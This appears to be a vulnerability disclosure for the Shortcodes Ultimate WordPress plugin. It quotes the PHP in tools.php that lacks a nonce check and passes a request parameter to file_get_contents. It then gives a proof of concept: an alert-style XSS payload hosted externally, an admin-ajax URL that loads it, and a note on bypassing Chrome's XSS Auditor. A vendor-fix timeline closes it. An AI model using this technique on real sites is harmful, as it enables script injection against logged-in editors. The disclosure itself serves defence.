Nonce token is not checked inside access()
.
File: shortcodes-ultimate\inc\core\tools.php
public static function access() {
if ( !self::access_check() ) wp_die( __( 'Access denied', 'su' ) );
}
public static function access_check() {
return current_user_can( 'edit_posts' );
}
We can read and display any external file using $_REQUEST['code']
.
File: shortcodes-ultimate\inc\core\tools.php
public static function example() {
// Check authentication
self::access();
// Check incoming data
if ( !isset( $_REQUEST['code'] ) || !isset( $_REQUEST['id'] ) ) return;
// Check for cache
$output = get_transient( 'su/examples/render/' . sanitize_key( $_REQUEST['id'] ) );
if ( $output && SU_ENABLE_CACHE ) echo $output;
// Cache not found
else {
ob_start();
// Prepare data
$code = file_get_contents( sanitize_text_field( $_REQUEST['code'] ) );
// Check for code
if ( !$code ) die( '<p class="su-examples-error">' . __( 'Example code does not found, please check it later', 'su' ) . '</p>' );
// Clean-up the code
$code = str_replace( array( "\t", '%su_' ), array( ' ', su_cmpt() ), $code );
// Split code
$chunks = explode( '-----', $code );
// Show snippets
do_action( 'su/examples/preview/before' );
foreach ( $chunks as $chunk ) {
// Clean-up new lines
$chunk = trim( $chunk, "\n\r" );
// Calc textarea rows
$rows = substr_count( $chunk, "\n" );
$rows = ( $rows < 4 ) ? '4' : (string) ( $rows + 1 );
$rows = ( $rows > 20 ) ? '20' : (string) ( $rows + 1 );
echo wpautop( do_shortcode( $chunk ) );
echo '<div style="clear:both"></div>';
echo '<div class="su-examples-code"><span class="su-examples-get-code button"><i class="fa fa-code"></i> ' . __( 'Get the code', 'su' ) . '</span><textarea rows="' . $rows . '">' . esc_textarea( $chunk ) . '</textarea></div>';
}
do_action( 'su/examples/preview/after' );
$output = ob_get_contents();
ob_end_clean();
set_transient( 'su/examples/render/' . sanitize_key( $_REQUEST['id'] ), $output );
echo $output;
}
die();
}
Proof of Concept
Put XSS payload on external server, for example:
<script>alert("XSS");</script>
XSS will be visible for user with edit_posts
access when he visits this url:
http://wordpress-url/wp-admin/admin-ajax.php?action=su_example_preview&code=http://external_server/external_file.html&id=123
Because payload is stored on external server we bypass Google Chrome XSS Auditor.
Timeline
- 23-03-2015: Discovered
- 23-03-2015: Vendor notified
- 24-03-2015: Version 4.9.4 released, issue resolved